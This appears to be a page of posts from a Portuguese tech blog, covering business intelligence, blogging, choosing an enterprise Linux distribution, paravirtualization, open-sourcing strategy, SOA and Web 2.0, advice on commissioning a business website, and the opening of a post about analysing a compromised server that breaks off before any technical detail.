Sobre Profetas e Bolas de Cristal

Este é um artigo sobre Business Intelligence, Business Analytics, Big Data e Data Mining.

Há quem diga que os antigos profetas eram pessoas comuns que proferiam simples consequências lógicas baseadas em observação mais profunda de fatos de seu presente e passado. Tudo o que vemos à nossa volta é resultado de alguma ação, tem uma história e um motivo de ser e de existir. Em contrapartida, seguindo um mesmo raciocínio científico, se algo aparentemente “não tem explicação” é porque ninguém se aprofundou suficientemente nos fatos históricos que o causaram. Continue reading

A Blogosfera

Um blog é um website qualquer cujo conteúdo é organizado como um diário (log, em inglês), ou seja, por datas e em ordem cronológica. O nome surgiu quando “web log” virou “weblog”, que em uma brincadeira se transformou em “we blog”, para enfim se popularizar em “blog”.

A cultura dos blogs tem um dicionário de jargões:

  • Post: um artigo ou publicação que pode conter texto, imagens, links, multimídia, etc. Um post tem um título, data e hora, é categorizado sob um ou mais assuntos como “vinhos”, “tecnologia”, “viagens”, “poesia”, etc., definidos pelo dono do blog. Usa geralmente linguagem mais direta e descontraída, e pode ser tão longo quanto um extenso artigo, ou conter somente poucas palavras. Um blog é uma seqüência de posts.
  • Comentário: visitantes do blog podem opinar sobre os posts, e esse é um lado muito importante da interatividade dos blogs.
  • Permalink: um link permanente, o endereço direto de um post específico.
  • Trackback e Pingback: um post que faz referência a outro post, até mesmo em outro blog.
  • Feed: há ferramentas que permitem ler vários blogs de forma centralizada, sem ter que visitá-los separadamente. O feed é uma versão mais pura do blog, contendo somente os últimos posts em formato XML (RSS ou ATOM), e serve para alimentar essas ferramentas. Podcasts nada mais são do que feeds contendo mídia, ao invés de só texto.

Blog é um nome mais atual para o que se costumava chamar de “home page”. A diferença é que antes da era dos blogs, uma pessoa que quisesse ter um website pessoal, tinha um enorme trabalho para publicar conteúdo de páginas, que geralmente eram estáticas, não interativas, e francamente, sem graça. Era um processo manual que exigia algum conhecimento técnico, e por isso eram geralmente os técnicos que publicavam conteúdo na web.

Com a padronização do conteúdo em ordem cronológica, em posts, surgiram uma série de ferramentas e serviços de blogging, sendo os mais conhecidos o WordPress, Blogger, LiveJournal e MovableType.

Eles facilitaram a publicação de textos, links, multimídia, de forma organizada e bonita, e a web ficou muito mais interessante. Se antigamente um escritor precisava ter influência com editoras para publicar trabalhos, hoje qualquer pessoa é um escritor em potencial. E, sim, os blogs revelaram inúmeros ótimos escritores — alguns viraram celebridades —, só porque agora eles tem acesso a uma plataforma de publicação independente e direta: a Internet.

Os “blogueiros” (bloggers, pessoas que possuem e escrevem em seus blogs) visitam e lêem outros blogs, fazem comentários, criam links e se referenciam, criando uma espécie de conversa distribuída.

A consolidação da cultura dos blogs fez surgir alguns serviços como Technorati, Truth Laid Bear, BlogBlogs, Ping-o-matic, Digg, dentre outros, que tem a habilidade de seguir a conversa. Mais ainda, eles conseguem medir a popularidade de um blog ou de um assunto, e mensurar sua vitalidade e popularidade na web. Usando extensamente idiomas XML como XHTML, RDF, RSS e ATOM, eles conseguem notificar um blog de que ele foi citado em outro blog, ajudando o primeiro a publicar automaticamente um pingback ou trackback, mostrando quem o citou e como.

A Blogosfera é o fenômeno sócio-cultural materializado nessa malha de interações digitais entre os blogs e seus autores. Pode ser comparada a Comunidade de Software Livre. Onde esta cria software de forma distribuída e de acesso livre e direto aos usuários finais, a Blogosfera trabalha com idéias em geral, poesia, fotografia, multimídia, notícias, de qualquer um que se disponha a escrever para qualquer um interessado em ler.

Como dizem Doc Searls e David Weinberger no artigo Mundo de Pontas (“World of Ends”), a Internet é uma grande esfera oca com a superfície formada por pontas interconectadas. Bem, nós somos as pontas e ela é oca porque não há nada no meio que limite a nossa interação. Essa metáfora explica como os bloggers ganharam voz ativa na sociedade livre da Internet, onde falam bem de quem gostam e denunciam quem ou o que não gostam. Sendo público e interativo, qualquer assunto verídico e bem conduzido tem potencial para virar uma bola de neve ao ponto de iniciar um escândalo político (exemplo), obrigar uma empresa a admitir que deve fazer um recall de produtos defeituosos, ou de dar informações muito precisas sobre a bomba que explodiu no bairro durante uma guerra (warblog).

O Software Livre, a Blogosfera e outros movimentos socioculturais que estão por vir são um resultado direto da benéfica massificação da Internet.

Empresas têm usado blogs como forma de se aproximarem de seus clientes. Sua linguagem descontraída, não-institucional e principalmente interativa derruba barreiras e potencializa comunidades. Bons blogs corporativos passaram a ser peça chave do ciclo de desenvolvimento de produtos, como plataforma de divulgação das próximas novidades e ponto de coleta direta de opiniões de usuários.

O que você está esperando para ingressar na Blogosfera ?

Escolhendo uma Distribuição Linux

É importante começar dizendo que todas as distribuições Linux, incluindo as comerciais — Red Hat Enterprise Linux, SUSE Linux, Xandros, etc — e não-comerciais — Debian, Slackware, Gentoo, etc — atendem a maioria das necessidades reais. Escolher uma melhor entre elas é mais uma questão de gosto pessoal do técnico que já a conhece do que de funcionalidades. Mas uma empresa precisa pesar mais aspectos — além do gosto — para garantir uma escolha estratégica de benefícios de longo prazo.

Suporte e Certificação

Todas as distribuições Linux empacotam, de uma forma ou de outra, mais ou menos os mesmos softwares Open Source (o Kernel, Apache, Samba, bibliotecas, Gnome, KDE, etc). Mas somente as chamadas distribuições chamadas enterprise incluem suporte junto ao seu produto.

Para um usuário, suporte significa:

  1. Um parceiro disponível agora e no longo prazo, para transferir riscos operacionais
    Este é o ponto mais importante. Empresas não querem tomar riscos — especialmente os riscos inerentes ao Open Source.

  2. Acesso rápido a atualizações de qualidade
    Empresas em geral tem recursos limitados para compilar, testar e integrar atualizações de software Open Source.

  3. Acesso a um grande número de fabricantes independentes de hardware (IHV) e de software (ISV) certificados e disponibilidade de soluções complexas pré-testadas
    Uma parte crítica de qualquer projeto de TI consiste em correlacionar a certificação entre seus componentes (hardware, storage, middleware, SO, etc). A característica mais importante e valorizada que uma distribuição pode prover, mais do que as tecnologias embutidas no SO, é a sua capacidade de criar ecossistemas de hardware e software homologado.

Modelo de Subscrição versus Preço por Licença

Empresas que vendem software comercial (como a Microsoft, IBM, Oracle, etc) vão permitir o uso de seus produtos somente após a compra de um direito de uso. Esses “direitos compráveis” são hoje em dia chamados de licença comercial.

O software contido em qualquer distribuição Linux é sem custo. Os desenvolvedores desses softwares licenciaram seu trabalho sob a GPL, BSD, Mozilla Public, IBM Public ou alguma outra licença Open Source, que garante a qualquer um o direito de usar e redistribuir o software sem ter que pagar por isso.

É errado dizer que se “compra” uma distribuição Linux (ou uma licença de seu uso). Não se pode comprá-la. Na prática ela já é sua. É como dizer que um usuário irá comprar o conteúdo de um site. Não há nada material para adquirir. Por outro lado, o que sim pode-se dizer é que se está assinando um serviço que provê assistência técnica, acesso a atualizações, e ingresso a um ecossistema de produtos que inter-operam de uma forma pré-testada e certificada — os pontos de suporte pincelados anteriormente.

Então empresas que fazem distribuições enterprise (como Red Hat, Novell, Xandros) vendem esse serviço, e não o software, porque o último é gratuito.

Escolhendo a Melhor Distribuição

Há duas formas responsáveis e maduras de usar alguma distribuição Linux nas operações de TI de uma empresa:

  1. Adquirir subscrição de uma distribuição enterprise global como as vendidas pela Red Hat e Novell
    A subscrição atrela o software Open Source a um suporte de escala global, criando ambiente estável e favorável para o florescimento de um ecossistema de ISVs e IHVs certificados.
  2. Usar distribuições gratuitas como Debian ou Slackware, e adquirir serviços de suporte de uma companhia local, independente
    Isso pode trazer mais risco por causa da operação de suporte não-global, e falta de integração entre o empacotamento do software e seu suporte, o que leva a um ecossistema fraco ou inexistente de ISVs e IHVs.

Em termos de flexibilidade técnica e escolha de fornecedor — pontos que impactam em custo —, as duas opções são iguais. Todos os benefícios da segunda opção estão presentes na primeira, enquanto na segunda estão ausentes os aspectos de ecossistema de ISVs e IHVs da primeira.

RHEL versus SLES

Para uma empresa que precisa tomar decisões pragmáticas, parece fazer mais sentido adquirir diretamente um produto como o RHEL e SLES, que atrela suporte ao software na fonte, do que manualmente integrá-los em níveis regionais. A segunda opção, com Debian etc, também tem sido escolhida com sucesso por empresas principalmente do setor público, e trazem benefícios sociais e econômicos gerais por manterem o dinheiro circulando dentro do país.

Empresas devem prestar atenção aos seguintes pontos, mais ou menos nesta ordem, quando estão escolhendo uma distribuição Linux para rodar suas aplicações de negócio:

  1. Com qual fabricante de distribuição eu tenho melhores relacionamentos comerciais ?
  2. Qual fabricante tem melhor preço de subscrição pelo valor oferecido ?
  3. Qual distribuição meus técnicos conhecem melhor ?
  4. Qual distribuição é suportada e certificada por quem me fornece produtos de hardware e software ?
  5. A não ser que se saiba muito bem o que se está fazendo, empresas devem ser responsáveis e usar distribuições enterprise.

Para empresas que precisam escolher rapidamente uma distribuição, há duas opções enterprise que tem um forte ecossistema e penetração no mercado: Red Hat Enterprise Linux e Novell SUSE Linux Enterprise. Umas poucas diferenças entre elas tem se tornado cada vez maiores ao longo do tempo, mas a maioria das diferenças tem convergido ou desaparecido. Veja uma comparação na tabela.

Outras Distribuições Enterprise

Há alguns provedores de distribuições Linux com modelos de negócio similar ao adotado pela Red Hat e Novell. As mais famosas são Ubuntu (tecnicamente baseado no Debian), Mandriva (fusão da Conectiva, Mandrake e outras), Xandros (também baseado no Debian), para citar algumas. Elas estão focadas em prover um produto global de tal forma que suporte e serviços possam ser disponibilizados automaticamente ou num modo self-service.

Há uma lei intrínseca do mercado que busca o equilíbrio lançando mão de duas opções de escolha. Uma opção pode ser boa (na verdade não há opção quando só existe um caminho), duas opções maduras é melhor, mas três ou mais opções já é demais para o mercado digerir. E parece que o mercado já definiu suas duas escolhas maduras com a Novell e Red Hat.

Mesmo se essas outras distribuições enterprise tiverem produtos melhores, elas terão que investir uma quantidade considerável de energia construindo um ecossistema de ISVs e IHVs. Mais do que isso, ISVs e IHVs terão que fazer uma pausa em suas operações para ouvir o que estas novas distribuições tem a oferecer.

Ecossistema é tudo que importa. Um produto com um bom ecossistema pode facilmente se tornar melhor que um excelente produto sem ecossistema. Provavelmente este é o aspecto mais importante a considerar quando uma companhia escolhe uma distribuição.

Não se pode dizer que certa distribuição é melhor que todas as outras. Deve-se sempre colocar na balança aspectos pragmáticos visando uma boa aderência a sua empresa ou a um certo projeto.

Nos Domínios da Paravirtualização

A virtualização é um recurso usado para simplificar, esconder ou mascarar detalhes de funcionamento infra-estruturais de um hardware ou de um software. Sua função é fazer um componente simular ou se comportar como outro tipo de equipamento. Desta forma, o que é executado sobre a plataforma virtualizada passa a dar mais foco à sua super-estrutura, ou seja, à lógica de negócio.

Fica mais fácil entender quando classificamos alguns tipos interessantes de virtualização:

  • Driver de dispositivo: esconde detalhes de um dispositivo específico criando uma representação virtual de um dispositivo genérico. É uma das formas mais populares de virtualização.
  • Virtualização de hardware: trata-se de um software que simula todos os aspectos de um computador, incluindo firmware e dispositivos.
  • Virtualização de sistema operacional: provê interfaces genéricas que podem ser usadas por uma ou várias aplicações simultânea-mente. É uma das virtualizações mais completas, mais usadas e a que é menos associada à idéia de virtualização.
  • Virtualização de Servidor de Aplicações: idêntica em todos os aspectos a de SO, mas provê APIs e serviços de ordem mais abstrata. SOs modernos como Linux e Windows já incluem esta camada como parte das funcionalidades que provêem. Como exemplo, temos J2EE e várias outras APIs no universo Linux e .NET no mundo Windows.
  • Grid: pode ser visto como um novo sistema operacional cujas interfaces simplificam, escondem e automaticamente gerenciam uma malha de recursos computacionais heterogêneos e distribuídos.

Poderíamos citar outros tipos, mas o importante agora é entender que o objetivo maior do uso de virtualização é a independência e separação lógica entre camadas de funcionalidades diferentes, melhor gestão de políticas de segurança e melhor aproveitamento de recursos computacionais.

A virtualização de hardware é especialmente prática porque permite manipular o que antes era metal e silício físicos, como informação que pode ser gravada numa mídia e até mesmo transportada via rede. Mas a separação lógica entre a máquina virtual hóspede e o sistema operacional hospedeiro não lhes permite cooperar de forma mais eficiente. Por exemplo, o hospedeiro não sabe como o seu hóspede está usando a memória física. Assim, pode haver um retrabalho em tarefas comuns como gerência de memória virtual.

A paravirtualização, a princípio, parece uma virtualização de hardware, mas propõe que o sistema operacional hóspede saiba que ele está sendo executado na camada virtual e possa interagir com ela. Isso implica em alterações no sistema operacional hóspede, mas garante uma cooperação sem precedentes entre as duas camadas. O ganho imediato desta cooperação é a maior performance do conjunto.

O datacenter do futuro, vislumbrado com tecnologias de paravirtualização do presente, será todo virtual. Muitos dos produtos que hoje são executados em servidores físicos dedicados, sem virtualização, passarão para servidores paravirtuais. Isso acontecerá pois a perda de performance da paravirtualização tende a zero, e ao mesmo tempo ganha-se muita flexibilidade de operação, benefício típico da virtualização em geral.

A máquina paravirtual passa a ser como um líquido que se adapta a qualquer recipiente, podendo ser migrada a quente para outro equipamento com apenas milissegundos de indisponibilidade real, armazenada em backup ou fazer parte de uma infra-estrutura de alta-disponibilidade de máquinas virtuais.

O primeiro sistema operacional moderno que implementou essas modificações para paravirtualização foi o Linux, com o projeto Xen. A idéia se popularizou e aderiram a ela vários fabricantes. Hoje há um diálogo bem sucedido na indústria sobre padronização das interfaces hóspede-hospedeiro.

Com essa padronização se concretizando e com os benefícios que a paravirtualização oferece, podemos dizer que nos próximos anos ela substituirá por completo a tradicional virtualização de hardware.

Quando Abrir o Código Fonte

Open Source LogoNum evento promovido na Universidade Federal de São Carlos eu fiz uma palestra longa sobre middleware IBM em Linux. No final os estudantes fizeram ótimas perguntas sobre carreira, trabalho, tecnologia e uma das mais interessantes foi essa do título.

A resposta rápida é: se um software fechado ainda traz lucro para seu dono não há porque abrir seu código fonte.

Mas na verdade essa é uma questão deveras delicada, e a decisão é muito difícil de se fazer.

Um software tem dois grandes valores:

  1. O valor de seu código, ou o quanto o mercado valoriza financeiramente a quantidade de trabalho empregada para desenvolver aquele software.
  2. Seu valor ecossistêmico, ou quantas pessoas conhecem bem esse software e estão prontas para trabalhar com (e para) ele, usando, desenvolvendo extensões, escrevendo livros, etc.


O segundo ponto é mais difícil de entender, então para explicar tomemos como exemplo o Adobe Photoshop versus o Gimp. O último tem a maioria das funcionalidades do primeiro e é de graça, mas o primeiro continua sendo muitíssimo mais popular, conhecido, usado, etc. O valor ecossistêmico do Photoshop é bem maior que o do Gimp e isso inclusive aumenta seu valor financeiro.

E para o primeiro ponto, lembrem-se do excelente webserver de código fechado da Netscape que perdeu a guerra ao se deparar com o Apache HTTP Server. O mercado não estava mais disposto a gastar dinheiro com algo tão simples e estrutural como o código fonte de um webserver.

Se você abrir o código cedo demais, vai perder lucro, mas se esperar muito pode perder ecossistema porque seus usuários irão migrar para opções abertas mais flexíveis e mais baratas. A qualidade geral da opção aberta talvez seja inferior num certo momento, mas conforme seu ecossistema cresce, a qualidade também cresce talvez ultrapassando as alternativas fechadas.

Community ROI

Há duas vantagens em abrir o código fonte:

  1. A primeira é tática e está relacionada a terceirizar o trabalho massante de manter um código que não tem mais valor comercial, mas que ainda é vital para outros produtos de maior valor.
  2. A segunda é de ordem estratégica e muito interessante. Consiste em usar o poder social do Open Source em agregar comunidades e assim estabelecer um padrão na área do código que foi aberto. Isso aniquila a concorrência, e se não há um padrão geral estabelecido, a abertura bem sucedida e amadurecida define um Padrão Aberto.

Abrir só com o primeiro ponto em mente, geralmente leva ao fracasso. Foi o caso do Darwin e o OpenSolaris, pois não conseguiram criar ao seu redor um ecossistema viável para sobreviverem sem seu criador. Seu código foi aberto muito tarde, tão tarde que Linux já dominava a cena de sistemas operacionais.


Quando há um equilíbrio entre as duas vantagens acima, abrir o código fonte pode mudar completamente o rumo do mercado naquele setor. Foi o que aconteceu com o Eclipse e o OpenOffice.org. No caso do Eclipse, era uma grossa camada de código muito bem feito mas que dava muito trabalho para manter. Além do fato de que o verdadeiro valor de produto estava no que ficava sobre o Eclipse, como o antigo WSAD da IBM. Quando foram abertos, não havia nem sombra de algo similar em código aberto e com aquela qualidade. O resultado hoje é uma comunidade dinâmica ao seu redor que está levando esses projetos onde nunca se imaginava poderem chegar.

O poder de uma abertura estrategicamente bem pensada pode abalar as bases de um produto bem estabelecido. É o caso do OpenOffice.org mais ODF versus o MS Office e todo o barulho que temos ouvido na mídia e nos governos.

Hoje, softwares que implementam conhecimento muito específico de áreas avançadas como engenharia, arquitetura, negócios, logística, etc estão longe de serem abertos, simplesmente porque o mercado ainda remunera bem seus fabricantes. Há opções abertas, mas é tão difícil criar e autosustentá-las de forma global e com qualidade, que as opções fechadas ainda são melhores.

E softwares que implementam funcionalidades de uso genérico como o de um sistema operacional, servidor de arquivos, webserver, etc, graças ao mundo pequeno que a Internet nos ofereceu já dominam seu escopo inclusive em termos de ecossistema, e ninguém mais se arriscará a criar um concorrente de código fechado. A excessão aqui é o Microsoft Windows, único sistema operacional proprietário e de código fechado, que ainda detém um ecossistema gigante.

Já estamos vivendo uma época em que a decisão de abrir o código fonte não está mais no âmbito da infraestrutura. Nos próximos anos provavelmente vamos ver middlewares populares terem seus códigos abertos. Open Source está avançando nesse setor, e a capacidade dos gestores dessas áreas em tomar decisões inovadoras será o que vai diferencia-los da concorrência.

Isso acontecerá num ritmo natural. Não se pode mudar os nove meses de uma gestação. São idéias que naturalmente estão amadurecendo no mercado.

SOA, Web Services, Virtualização, Grid, Web 2.0: Mashup gigante

SOA é um estilo de arquitetura que tenta alinhar melhor processos de negócio com a TI.

Apesar de os frabricantes de TI — como a IBM — serem os que mais falam sobre isso, ingressar em SOA significa primeiro modularizar seus processos de negócio para depois mapear isso aos módulos de aplicações e infra-estrutura.

Grid é um conceito meio obsoleto. Como conceito, mas não como tecnologia. O conceito é obsoleto porque sua atuação é extremamente estrutural e muito complexa. Toda a terminologia relacionada a Grid tem caráter técnico, difícil de explicar e de nada adianta uma empresa pensar em Grid se seus processos de negócio e aplicações que os implementam não estiverem modularizados.

Por isso inventaram SOA. Para que provedores de TI pudessem ter um discurso mais ameno e acessível ao vender a idéia para gestores em seus clientes. E também para atacar o problema do excesso de complexidade da TI do cliente em sua raiz: na modelagem de seus processos de negócio.

E Web Services, onde entra? Dividindo em camadas, o conceito de SOA mora na fronteira entre negócios e TI. Na hora em que os processos vão se materializar em software e aplicações, a boa prática sugere usarmos certos padrões de desenvolvimento, de integração entre módulos. Esses padrões foram agrupados juntos nas especificações de Web Services, e se preocupam em definir como se faz chamadas a serviços (métodos) remotos, como um serviço encontra outro, etc. Então, nessas camadas conceituais, Web Services encontra-se logo abaixo de SOA.

E Grid está logo abaixo de Web Services. Ocupa-se dos mesmos problemas e soluções, mas com abordagens mais operacionais. Grid nasceu em um ambiente científico e WS em um ambiente de aplicações de negócios. Reinventaram a roda um do outro diversas vezes. Mas nos últimos anos têm juntado esforços para limpar os overlaps a fim de produzir um único conjunto de métodos e boas práticas.

Tudo isso é Virtualização

Se a virtualização de hardware (Xen, VMWare, z/VM) divide um equipamento em vários pedacinhos, SOA, WS e Grid dividem a aplicação em vários pedacinhos funcionais.

A virtualização de software (SOA, etc.) é mais difícil de fazer. Mas é também muito mais poderosa que a de hardware. Traz benefícios mais consistentes, mais abrangentes (porque tiveram que arrumar a casa dos negócios antes) e de mais longo prazo.

Tudo isso tem a ver com a Web 2.0

Explicar Web 2.0 está fora do escopo agora, mas sua arquitetura tem muito a ver com SOA.

Ao invés de feeds, podcasts e APIs JavaScript da Web 2.0, SOA tem serviços, provedores de dados e de funcionalidades. Equivalente ao HTML, capaz de juntar funcionalidades e dados de diversos sites, SOA tem a Linguagem de Execução de Processo de Negócio (BPEL, que é XML) que define a ordem e dependências ao juntar Web Services para formar uma aplicação maior. O papel das tags e folksonomy da Web 2.0, é exercido pelo UDDI no contexto de Web Services.

Mashups da Web 2.0 (experimente o iGoogle) são as Aplicações Compostas do SOA (veja também na Wikipedia).

E o Enterprise Service Bus do SOA (também na Wikipedia) tem o Browser como seu equivalente na Web 2.0. Sim, porque ambos tem a missão de materializar as conexões lógicas definidas pelo DHTML ou BPEL.

Web 2.0 é a Arquitetura Orientada a Serviços global.

Como Criar um Website

Este guia é para você que é leigo em computadores, mas que precisa contratar alguém para fazer o site de sua empresa, restaurante, hotel, etc. Vai ajudá-lo a ter um site mais acessível, prático e funcional, usando padrões e técnicas novas e que os usuários gostam, e deixando de lado as técnicas não muito naturais da web, ou que não é de boa prática o seu uso.

Quando for comprar serviços para criar seu site, exija os seguintes pontos (os links levam para as explicações):

  1. Quero um site onde eu mesmo posso atualizar o conteúdo, como se fosse um blog.
  2. Onde hospedar o site, em que computadores ele vai rodar ?
  3. O site/blog não pode ser feito em Flash.
  4. O site/blog deve ser compatível com qualquer browser em qualquer plataforma, principalmente Firefox, Internet Explorer, Safari e Opera.
  5. Não é necessário ter uma animação de abertura.
  6. Não pode haver popups nem frames, deve ser de fácil navegação e usar permalinks semânticos.
  7. O site/blog deve conter informações objetivas e precisas.
  8. O site/blog deve usar tecnologias abertas e não-proprietárias.

Seguem os detalhes de cada ponto…

Não se chama mais site, agora é blog

Blogs estão na moda, então entre na moda.

Não é a toa. Se você disser “entre no blog do meu restaurante” ao invés de “site”, as pessoas sabem que estarão mais próximas de quem criou a informação ali, e não só da informação em sí. Na cabeça das pessoas, um site raramente é atualizado, mas um blog sempre tem novidades. O já conhecido formato de blog sugere que os visitantes poderão interagir, comentar.

Não conte para ninguém, mas site e blog são praticamente a mesma coisa, mas optando pelo formato de blog abre um leque de opções do uso de ferramentas já prontas para facilmente gerenciar seu conteúdo. Isso significa que seu site (ou blog) ficará pronto mais rápido (instantaneamente, na verdade), com mais funcionalidades, nasce bonito, e organizado de um jeito já familiar para as pessoas, além de ser interativo.

Outra vantagem de um blog é que você mesmo vai poder configurar e atualizá-lo tão facilmente quanto escreve um e-mail.

O visual de um sistema de blog como o WordPress é definido pelo tema usado. A idéia de temas pode ser comparada a uma roupa que se veste: troque de roupa e mude seu visual sem tocar no conteúdo, da mesma forma que troca-se o tema de seu blog sem interferir no conteúdo textual etc.

Há uma infinidade de temas gratuitos genéricos prontos na web, mas para uma empresa, estabelecimento, etc o ideal é contratar um webdesigner para criar (ou adaptar) um tema específico, com o seu logotipo e a sua cara. O trabalho técnico para executar esse trabalho dura aproximadamente 1 semana, e no caso do WordPress.org, o webdesigner deve ter conhecimento de PHP, além dos básicos XHTML e JavaScript (não precisa lembrar esses nomes, só garanta que seu webdesigner conhece tais tecnologias).

Em que computadores seu site vai rodar, onde hospedar ?

O custo mensal para se ter um blog/site é baxíssimo. No Brasil pode-se contratar excelentes provedores de espaço como a Insite por aproximadamente R$16 por mês. Já incluso todas as ferramentas necessárias para criar o blog, como o WordPress.org.

DreamHost bannerO provedor que escolhi para este meu site é o DreamHost que fica nos EUA. Por uns R$70 por ano eles me dão 230GB de espaço, mais banda praticamente ilimitada e um ótimo serviço. Alí pode-se rodar um blog WordPress.org, ou outros softwares que facilitarão a sua vida para gerenciar o conteúdo, seja textos, fotos, multimídia, etc: Drupal, Joomla, Gallery etc.

Seu site vai morar em computadores que rodam Linux (por oferecer maior segurança e estabilidade) e seus usuários Linux, Windows, Mac ou qualquer outro poderão navegar nele sem problema.

Evite Flash

Flash é a tecnologia que permite animações bonitinhas em sites da web, mas que começou a ser impropriamente usada para fins mais centrais de alguns sites, até o ponto enlouquecido de o site inteiro ser feito em Flash.

É ruim para seus visitantes: Flash é uma tecnologia proprietária, e nem todos os seus visitantes vão tê-lo instalado. E os que tiverem talvez o terão numa versão antiga (você lembra de ter atualizado seu Flash alguma vez?). Visitantes que usam Linux por exemplo — 20% da web aproximadamente — em geral não tem. Não exclua seus usuários.

É ruim para seu blog: Há uma ciência oculta na web chamada Search Engine Optimization (ou Otimização Para Sistemas de Busca), em que profissionais especializados conseguem fazer um site aparecer no topo da pesquisa por palavras em sites como o Google, Yahoo, MSN Search, etc. Bem, qualquer palavra ou link (isso inclui menus que levam ao texto) contidas em arquivos Flash serão invisíveis ao Google, fazendo seu blog praticamente desaparecer em resultados de busca. Os potenciais clientes que usam o Google e companhia para procurar coisas que você vende também desaparecerão.

Use Flash somente em coisas marginais e mesmo assim em elementos que não interferem na informação que seu site/blog provê.

Existem outros browsers

Lembre-se que o browser que você e seu produtor de site usam pode não ser o mesmo de todos os seus visitantes. O Firefox já usado por uns 30% da web. Para acertar neste ponto, garanta que seu blog é bem visto no Firefox, Safari (popular no Mac), Opera (popular em celulares) e Internet Explorer.

A Internet não é um panfleto de propaganda

Uma das coisas mais inúteis e irritantes de muitos sites é a tal da apresentação inicial, geralmente feita em Flash. Claro que há o link para “pular a animação” mas se este também estiver embutido no Flash pode dizer adeus a alguns visitantes: o resto de seu site é inacessível e contribui para a tal exclusão digital.

Um panfleto é recebido na rua de forma passiva, e a capa deve ser atraente para que o usuário queira abrir e ver o resto. Na Internet é diferente. Dificilmente alguém vai “cair” no seu site por acaso. As pessoas ativamente te clicaram porque acreditam que você tem a informação que elas precisam. Não as aborreça com essas apresentações iniciais. Em suma, isso só serve para duas coisas: dar uma desculpa ao webmaster que você contratou para te mostrar seus conhecimentos em operar o programa que cria aquilo, e gastar seu dinheiro pelas horas de trabalho cobradas.

Use melhor as horas pagas ao seu web-designer e peça para ele criar um site/blog semântico, que os mecanismos são capazes de ler.

Morte aos Popups

Sobre as tais janelas saltitantes que surgem quando clicamos em links de sites mal feitos, saiba que browsers modernos corretamente as bloqueiam. Se você as vê na hora que está testando seu site pela primeira vez, provavelmente foi porque o browser foi explicitamente configurado para deixá-las saltar. Em geral seus usuários não as verão.

Os popups tem outro sério problema: em sites mal feitos, certas informações preciosas só podem ser encontradas dentro de popups, e como essas janelinhas estão fora do fluxo de navegação normal (como Flash) essas informações também serão invisíveis ao Google e companhia, e não aparecerão nos resultados de busca.

Estabeleça a idéia de que todo pedaço de informação em seu site deve poder ser acessível diretamente por links externos (também conhecidos por “permalinks“), e não só navegando via a página principal.

Seus clientes querem te ligar

Você ficará surpreso em saber quantas pessoas tem preguiça de ler ou gastar 5 minutos (ou mais, se o site for desestruturado) navegando em seu blog para encontrar o que procuram.

Para aproximá-las de você, deixe seu telefone com código de área visível em todas as páginas, por exemplo no final de cada uma. Só e-mail não basta. Muito menos formulário para entrar em contato. Lembre-se: de qualquer forma, antes da Internet o único jeito de contactarem seu estabelecimento era por telefone.

Se o seu estabelecimento for um serviço, restaurante, hotel, loja, vai perceber que a maioria liga para saber onde fica, preços, se está lotado, o que há no cardápio, etc. Quando as perguntas freqüentes ficaram óbvias, trate de criar páginas com respostas claras no seu site, mapas interativos como o abaixo, etc.

map
map
Restaurante Maha Mantra
map
Cantina do Mello

Evite tecnologias proprietárias

Use padrões abertos. Eles estão disponíveis, são mais baratos, e te dão mais flexibilidade que as tecnologias proprietárias.

Não é exatamente o webdesigner quem deve escolher as tecnologias usadas em seu site. Ele vai te sugerir as que ele conhece, mas não necessariamente são as melhores para você.

Um site/blog desenvolvido com tecnologias proprietárias te forçará a ter que pagar por elas pelo resto da vida de seu site. E saiba que a cultura da Internet criou diversas tecnologias abertas, muitas vezes melhores, muitas vezes gratuitas, que te dão escolha, poder de negociação, etc.

Veja uma comparação:

Tecnologias Proprietárias (evite) Tecnologias Abertas (prefira)
Flash DHTML, Ajax, XHTML+JavaScript
ASP, ASP.NET JSP, PHP
.NET, C#, Cold Fusion, Delphi etc Java, Java Enterprise ou J2EE
Windows ou qualquer outro sistema operacional Linux
Mídia em formatos WMA, WMV e Real Mídia em formatos MP3, AAC, MPEG e Xvid (ou DivX)

Outros detalhes

  • Seu site ou blog deve usar a codificação UTF-8 ou Unicode. Esta técnica é a garantia de que acentos vão aparecer corretamente em qualquer browser e sistema operacional.
  • Evite também frames. Eles nasceram a partir de um erro de projeto, são considerados obsoletos, tem problemas similares aos popups e Flash, violam padrões, e seus criadores se arrependeram de te-los criado.

Idealismo e Evolução

O idealismo está entre as coisas que mais faz o mundo andar para frente, e ao mesmo tempo, posiciona-se como a que mais segura a sua evolução.

O idealismo de mente aberta leva o mundo para frente. E o idealismo hermético, enclausurado, sem visão, fundamentalista, freia a evolução do mundo e da sociedade.

De qualquer forma, o idealismo como característica de personalidade, sempre vem empacotado com outras características, tais como falta de praticidade, um “não consigo terminar o que comecei”, e um altruismo que muitas vezes leva a irredutibilidade e, inevitavelmente, ao fundamentalismo.

Mas a visão mais ampla dos idealistas geralmente serve para inspirar pessoas de mente mais prática, menos cerebral, mais emocional, que pensa menos e faz mais, que enfim impulsionam a roda da história.

O progresso se faz com a mistura de personalidades idealistas (e teóricas) com as de tendência prática. Raros os líderes que tem ambas as características.

Os idealistas que enxergam 1000km no futuro e observam, durante a sua vida, a humanidade caminhar somente uns 2km para frente, devem se dar por satisfeitos. Esses 2km são exatamente o que a humanidade como um todo, hoje, é capaz de caminhar.

A evolução social, moral e benéfica não acontece a passos largos. Aos olhos dos impacientes parece até não acontecer. Mas na verdade nunca para e nunca anda para trás.

Na Trilha do Invasor

Qualquer administrador de firewall pode observar em seus registros que uma máquina conectada à Internet não fica um minuto sequer, 24 horas por dia, livre de tentativas de invasão. Tem sempre alguém fazendo uma varredura, tentando algum tipo estranho de conexão, requisitando URLs inseguras aos servidores web, enfim, batendo na porta. Parece que as pessoas têm se protegido bem já que não lembro de ter ouvido histórias detalhadas sobre um ataque efetivamente acontecendo.

Tive a oportunidade de analisar um computador que foi invadido e vou relatar aqui as evidências que os crackers deixaram para trás, como as descobrimos, e o que lhes interessava naquela máquina. Vou usar nomes fictícios e mascarar alguns IPs para resguardar a privacidade de todos.

Vamos chamar os invasores de crackers, porque hackers somos todos nós que respiramos tecnologia, “fuçadores” (tradução da palavra hacker), exploradores, pessoas curiosas. Somos todos hackers porque usamos nossas mentes poderosas para resolver problemas, ganhar dinheiro licitamente, enfim, fazer o bem. Um cracker por outro lado, usa seu conhecimento para invadir, deteriorar, tirar vantagem, e dar trabalho aos hackers administradores de redes. Um cracker é um mau hacker, e um bom hacker pode impedir a ação de um cracker.

Os Rastros Deixados pelo Cracker

